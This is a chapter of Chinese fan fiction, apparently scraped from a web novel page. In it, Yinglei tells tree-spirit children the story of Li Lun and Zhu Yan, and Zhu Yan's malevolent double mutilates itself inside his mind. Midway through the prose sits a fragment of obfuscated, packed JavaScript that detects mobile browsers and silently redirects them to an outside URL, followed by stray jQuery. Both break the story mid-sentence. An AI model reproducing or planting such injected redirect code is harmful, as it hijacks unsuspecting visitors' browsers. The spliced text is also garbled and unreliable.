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萌萌走到英磊跟前,伸出的小手攥了攥他的衣襟,又忍不住摇了摇他,一口小奶音问着:“小山神大人,为什么王会变成天上的星星呢?” 英磊蹲下身子,伸手将她小辫子上要掉落的槐花花瓣绑正,语重心长说着:“那还不是因为...” 英磊语顿,喉间发酸,缓了好一会才再度开口解释着:“因为,万年前的那场昆仑雪山大战。” 一旁的胖胖跟睿睿跑了过来,各自抱住英磊的大腿,撒娇着:“小山神大人,你能不能给我们讲讲王跟妖后大人的故事啊?” “槐精们,来,过来坐下。” 英磊拉着他们坐到一旁一块巨石上,原本藏进土里的槐精们一个个跟竹笋般蹿出了地面,巴眨着大眼睛,好奇盯着英磊。 英磊假装冷声一喝:“你们不是要听故事吗?还不钻出土来?” 土里的槐精们一听,顿时黯淡下去的眼睛变得亮晶晶的,一个个都从土里蹦了出来,手忙脚乱地小跑到英磊跟前。 英磊暗自瞄了一眼一旁攀爬了老半天还爬不上来的萌萌,忍不住摇了摇头:“离仑跟朱厌,他们两个人的故事啊...十天十夜都说不完...” 最后他实在是看不下去了,伸手将槐精萌萌,一把抱在身前,继续娓娓道来:“他们的故事,得从很久很久的以前说起了...” 萌萌巴眨着大眼睛,大笑着,那颗缺了一口的小乳牙一下子就露出来了,扯着一口小奶音,慢吞吞同抱着她的英磊说道:“很久很久吗?那也没关系,多久我们都想听。” 英磊看到抱在怀里缺了一口小乳牙却一脸真挚望着他的槐精,恍惚之间,不由想要他入凡历练的那两百年里,回来后从他爷爷口中听到的槐江谷大事。 怨不了,也怪不得为何离仑会如此憎恨凡人。离仑看到的凡间与朱厌眼中的凡间,截然相反。 离仑跟朱厌,明明是两个性格截然不同的人,历经万重劫难,走在了一起,成为了大荒诸妖皆知的神仙眷侣,爱过,恨过,痛过,分过,合过,最后却还是躲不过生离死别。 爱别离,求不得,怨憎会,他们都有过。 英磊的心,就像一颗沉重又硕大的石块,被人投掷入海,突然就变得沉重与窒息起来。 敛起脸上的失色与落寞,英磊开始同槐精们说起了大荒往事。 “从很久很久的以前说起...” “那得从六万多年前的大荒说起了...” 23.大荒往事 “六万多年前的大荒啊...”英磊抬眼望了一眼天空,大声骂骂咧咧着,欸欸欸!怎么回事?” 原本下起鹅毛大雪的天空,大雪骤停,电闪雷鸣过后,一场毫无预警的大雨倾盆而下。 英磊甩了甩被雨水打湿的头发,连忙掐诀念咒,一层白色结界从他头顶向四周蔓延而开,将这来势汹汹的雨,彻底挡在外头。 “欸!槐精们,进来躲雨呀!” 手里还抱着个槐精的英磊一脸茫然望着站在结界外,此刻正淋着雨笑呵呵着的诸多槐精们。 站在结界外的槐精胖胖,看到英磊一副呆呆的模样,笑呵呵连忙同他解释着。 “小山神大人,我们槐精,可是草木妖。日晒雨淋,雪落霜降,都不怕的。比起艳阳高照的天气,我们更喜欢湿漉粘稠的阴雨天了!” “小山神大人,淋雨有何可怕?多淋雨才可以长得高呀。” “谁跟你们说的?我可不是你们草木妖,淋雨后一身湿哒哒的,多不舒服呀。”英磊忍不住又甩了甩自己被雨水打湿的头发,一脸嫌弃着。 “小山神大人,”被英磊抱着的槐精萌萌抬起小脑袋,头顶在他的胸腔,认真给他解释着,“我们可是槐精,多淋雨,才可以长得快,长得大。” 英磊一听,心中更酸了。 眼前这些小豆丁大小的槐精们,都是靠着朱厌的妖力才维持住人形。 朱厌的妖力里有一部分是靠吸食四海八荒内的戾气所生,与槐精们的草木妖力相克,所以靠朱厌妖力才得以化形的他们,根本不可能长大。 “雨越下越大了,”槐精胖胖挠着后脑勺,抬头看着天上的雨,“妖后大人的心情,好像更糟糕了...” 英磊疑惑出声:“这跟朱厌什么关系?” “以前,妖后大人心情不好,槐江谷都会下雨。” “可是,不知道什么时候开始,只要妖后大人心情不好,槐江谷就变得又雪又雨的,”槐精萌萌一口小奶音慢吞吞说着,“有时候下得太多太久了,槐江谷谷内其他草木小妖都苦不堪言...” 英磊心一沉,脸色微变。 这么大的事,他怎么没听过茯苓说过? “走走走!淋什么雨!待会生病了,你们妖后大人还要照顾你们!他照顾不了肯定要我帮忙照顾你们!他很忙的,我也很忙的!走走走!回去——” “小山神大人,妖后大人先前同我们讲过,他说,全大荒数你最空闲。”槐精胖胖一脸不明白,挠了挠自己湿哒哒的小脑袋,“小山神大人,你要忙什么呀?” “我忙...欸,我干嘛要跟你们一群小豆丁说呢,赶紧都给我进来!” 英磊抱着萌萌,施法将结界外的其他小槐精都拎到结界内,然后带着他们,慢悠悠地走回了槐江谷小居。 雨水溅落在树叶上,饱满的雨珠顺着叶面被弹走。 朦胧月色照耀下,移动的白色结界之中,一道黄色的高大身影背后,跟着一大串绿油油的小身影。 英磊觉得,此刻的自己,就像一只护犊的大母鸡,身后跟着一大群刚孵化的小鸡崽,搞得他还得时不时停下来,回身数一数身后有没有槐精被落下。 没办法,这些新生不久的槐精们实在是太脆弱了,一个不小心就会魂飞魄散。 原本他也想直接施法回去,可又担心这瞬移之术会伤到他们,只能乖乖陪着他们一步一个脚印走回去。 走了足足两个多时辰,他们终于回到了槐江谷小居了。 “朱厌,”英磊抱着槐精,往里头探了探脑袋,“我把槐精们给你送回来了。人呢?” 怀里的萌萌戳了戳他的脸,慢吞吞说着,“妖后大人,他在后山打坐修炼着呢,”说着说着,便玩起了自己的又短又肥的小手指,一脸心虚,“不过,我们刚刚要去祭奠王,怕被发现,所以...” 英磊不由眯起了双眼,有种不安的感觉:“所以怎么了?” “所以...我们给妖后大人,点...点了你给的...梦鱼香...” 英磊一听,眼睛瞪得跟铜铃似的,还顺带倒吸了一大口凉气! 他滴个乖乖!那朱厌岂不是要睡到天荒地老了... 这些小豆丁,看着挺人畜无害的,怎么都随离仑的性子,个个如此诡计多端呢?! 槐精们原本湿漉漉的身上,早就被英磊用法术给弄干了。 槐精睿睿捋了捋自己被英磊法术烘干得卷翘的发丝,又伸手扯了扯英磊的衣摆,仰着小脑袋,目光炯炯望着他:“小山神大人,你可以继续跟我们讲王跟妖后大人的故事吗?” “对呀对呀!小山神大人,我们要听王跟妖后大人的故事!” “哦,对,”英磊放下萌萌,拉着槐精们坐了下来,“刚刚说到哪里了?” “你说他们的故事,要从很久很久的以前说起...得从六万多年前的大荒说起了...” “没错!”英磊大腿一拍,手一挥,当下变出一把羽毛扇子,化身那凡间说书先生,开始娓娓道来。 底下坐着的诸多槐精们,有些小手撑着小肥脸,有些手里攥着槐花骨朵,有些还从怀里摸出一小把葵瓜子,但都个个聚精会神,正听着英磊说着六万多年前的大荒往事—— “离仑跟朱厌,他们两个人的故事啊,十天十夜都说不完...” “六万多年前的大荒,四海八荒之内,只有离仑一个上古大妖,他妖力强大到比肩神明。” “哇——” 底下的槐精们个个一听,忍不住拍手赞叹起来,真不愧是他们的王。 一听,就很威风凛凛! “可是呢,”英磊如一个吊足人胃口的说书先生,话语一转,勾得底下槐精们憋住呼吸,“在离仑两百岁的时候,朱厌诞生了。” “朱厌是被天地戾气选中的承载容器,离仑是天生易聚阴邪戾气的万槐之皇。” “这两个人啊,”英磊虚着眼,下意识想要摸着上自己的大胡子却摸了个空,“同为大荒内数一数二的上古顶级大妖,一个是沉闷无趣的大槐妖,一个活泼灵动的白猿,不知怎么的,就这么水灵灵的爱上了...” “那...英磊山神大人,”萌萌玩着他腰间那串黑黄相间的兽毛小尾巴,奶声奶气问着他,“你的真身是什么呀?是可爱的小熊猫吗?” 英磊一听,当下嚷嚷起来道:“胡说!本山神可是威风凛凛的大老虎,怎么可能是那人畜无害的可爱小熊猫呢?” 咦? 在场的所有槐精们一听,个个都面露诧异,眼睛瞪得跟铜板一样大! 他们这位山神大人,居然不是人见人摸的可爱小熊猫,而是人见人跑的凶猛大老虎?o((⊙-⊙))o 萌萌望着英磊,再次虎头虎脑出声:“你看着...” 一旁胖胖像唱双簧般,抢先一步回答:“不像啊...” 听到此话的英磊,当下做出一副手捂心口,面上痛心疾首的模样。 他不要面子的吗?! 真不愧是吸了朱厌妖力而化形的槐精,连这毒舌都随他入木三分!对他堂堂一介大荒昆仑山神,可真的是嘴下不留情,杀虎诛面还诛心啊! “这看着,”萌萌玩着继续望着英磊腰间的兽毛小尾巴,一脸天真发问,“不就是小熊猫尾巴吗?” 英磊一把抽走她手中玩着的尾巴串,嘴里嘟囔个不停:“胡说!这尾巴,可不是普通的尾巴,更不是什么小熊猫尾巴!” “这可是我用我的胎毛编的虎毛串,是一对的。这一串是给我自己留作纪念的,”说着说着,他突然神色连带着哀伤了几分,“另外一串...本山神已经送给心爱之人,当定情信物了...” 槐精们一听就来劲,瞬间带偏了话题。 “小山神大人,你心爱之人,是谁呢?” 英磊状似不经意,悄悄收敛起眼中哀伤,大大咧咧说着:“欸欸欸,说好只聊你们妖后大人和离仑的前尘旧事,怎么聊到我身上来了?!还听不听呢?不听,我可走了。” 槐精们当下就急起来了,个个扒拉着他不让他走,七嘴八舌回着。 “听听听...” “要听呢!” 小居后山,青苔岩石上,那抹盘旋在朱厌身旁一直挥之不散的黑雾,趁着朱厌调息妖力的懈怠之际,顺着他的眉心,钻入了他的体内。 黑雾入体,冲进朱厌的识海,寻到了戾气微微开裂的封印,顺着裂缝钻了进入。 黑色的雾气与红色的戾气相互交融,露出一双冒着红光的眼睛。 识海里造出来的幻境,与现实的桃花山洞如出一辙。 朱厌闭目打坐,体内乱窜狂啸着的妖力,让他脸色又难看了好几分。 渗血的嘴角上,唇色发白,微微发抖,满额冷汗,脸色惨白。一串又一串的冷汗,顺着他濡湿的贴肤发丝,掺入衣裳。 “朱厌,你又做梦了。” 朱厌耳边出现了一道混沌的声音,嘶哑,低吟,喜怒无常又阴晴不定。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351676|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那双夹在红黑雾气之中的诡异眼睛,蹿到了朱厌对面的岩石上。 雾气消散,戾气现身。 一张跟朱厌一模一样的脸,缓缓露出—— 戾气那张跟朱厌长得一模一样的脸,多了几道被掩起的暗红妖纹,莫名多了一抹邪气与妖魅。 只见一.丝.不.挂.的戾气朱厌,周身被戾气红光裹着,随意倒靠在岩石上。 彻底妖化后的戾气朱厌,一双纤长十指上,萦绕着难以散去的黑气。 百般无聊的戾气朱厌,此刻正用着纤长利指,来回划拉着自己惨白的皮肤。 完好无损的皮肤,被他用利指划开了一道深可见骨的伤口,血疯了似地往外流着。下一秒便迅速愈合,可又再被他无情地用利指划破。 就这样,他身上伤口一直不断重复着,裂开又愈合,愈合又再被扯开。 可戾气朱厌却好似不知疼般,随着身上口子越划越大,血越流越多,玩得越来越起劲,甚至还舔.舐起了指甲上的鲜血,露出一个一脸享受的神情—— 而坐在他对面的朱厌,眉心却皱得越来越紧了,脸色越发惨白难看,额间冷汗滴得越来越频繁,最终还是忍不住,开了口。 “你玩够了吗?” 戾气朱厌指尖一顿,长长的指甲还插在手臂里头搅着自己的模糊血肉。 听到朱厌终于开口说话,戾气朱厌才一脸意犹未尽地拔出了自己的利指,对面当下便传来了一声微弱的痛闷声。瞬间,一道血柱自他臂上喷洒而出,在空中滑出一道弧线,最后血溅在地。 地上翠绿的萌芽小草被他这冒着黑气的血这么一洒,当场就枯萎而死,化成一滩草灰。 “我还以为,”戾气朱厌低头舔.了.舔.自己血肉模糊的手臂,嘴角阴笑着,“你不会疼呢...” 朱厌没有理睬他,只能默默将自己的手臂,往身后回缩了一下。 原本干净的衣裳上,手臂位置那一处早被鲜血染红濡湿,隐约还冒着黑气。 戾气朱厌.自.残.行为下所受的伤,全都转移到朱厌身上。 被邪煞的戾气伤到,就算他是能自我疗伤愈合的大妖,也没办法短时间内愈合和恢复。 “朱厌,”戾气朱厌微勾嘴角泛起一个冷笑,混沌的嗓音里布满讥讽之意,“英招说过,我们妖,天生七窍不全,是不会做梦的。” “可是,你却因离仑,修出了凡人的七情六欲,”戾气朱厌狂笑出声,眼中闪烁着疯子般的兴奋,“那便会痴生,喜怒忧惧,爱憎恨欲。” “你看看有情的你,再看看无情的我,”戾气朱厌像个天真无邪的孩童,歪着脑袋好奇地盯着闭眼打坐的朱厌,俯身低吟,一脸得意,“是不是...很痛苦...” 朱厌强忍着体内翻涌着的强烈不适感,强行挤出一个冷笑:“我乐意。” “唉——”戾气朱厌朝他露出一个怜悯目光,好似看着一头被困在牢笼里垂死挣扎的困兽,语气无奈,“天地鸿蒙,两仪相生,爱恨双极...” “朱厌,你有没有想过,也许,你念念不忘的,不是对他的爱,而是恨呢?” 朱厌一听,为之一震,整个人不由一僵。 恨? 他对离仑,怎么会是恨呢? 英磊口中说的,跟他所看到的所有一切,都告诉着他,离仑很爱他,他也很爱离仑。 既然深爱,何来怨恨呢? “是不是很难受?”戾气朱厌再次笑着出声,朝他所在位置走前了几步,“这凡人的七情六欲,滋味如何呢?” “妖想变人,人想修仙。所以,这天地之间,独人和妖,才会痛苦。可唯有苦难不断,戾气才能生生不息...” 朱厌没有回答这个问题,只是默默紧咬着牙关,但轻动的紧皱眉头,却还是暴露了他自以为藏得很好的情绪,看得出此刻戾气的这番话让他有些触动。 “朱厌——” 朱厌心绪不宁,识海撼动,同生一体的戾气,自是感受到了他体内蠢蠢欲动的失控。 看着被自己折磨得心绪不宁的朱厌,戾气朱厌好像一个被奖励了糖果的孩童,眼里顿时折射出兴奋又疯狂的精光,透着一股吞血食肉的痴迷。 戾气朱厌一边说着,一边伸出舌头,将食指指尖上那一颗欲滴未落的血珠,卷入口中,吞进腹里。 “我的离仑...” “他,可是一个拥有很多秘密的妖...” “想不想知道...他的秘密呢...”